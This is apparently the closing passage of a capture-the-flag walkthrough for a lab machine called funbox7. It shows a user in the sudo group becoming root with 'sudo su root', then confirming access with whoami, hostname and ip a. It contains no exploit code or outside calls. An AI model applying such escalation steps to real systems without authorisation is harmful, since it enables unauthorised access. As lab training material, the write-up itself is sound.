sudo group


karla@funbox7:~$ id
uid=1000(karla) gid=1000(karla) groups=1000(karla),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),111(ssh)

The karla user has sudo privileges to execute ALL:ALL as anyone as the user is part of the sudo group

karla@funbox7:/$ sudo su root
root@funbox7:/# whoami
root
root@funbox7:/# hostname
funbox7
root@funbox7:/# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:db:3c brd ff:ff:ff:ff:ff:ff
    inet 192.168.187.132/24 brd 192.168.187.255 scope global ens192
       valid_lft forever preferred_lft forever

System level compromise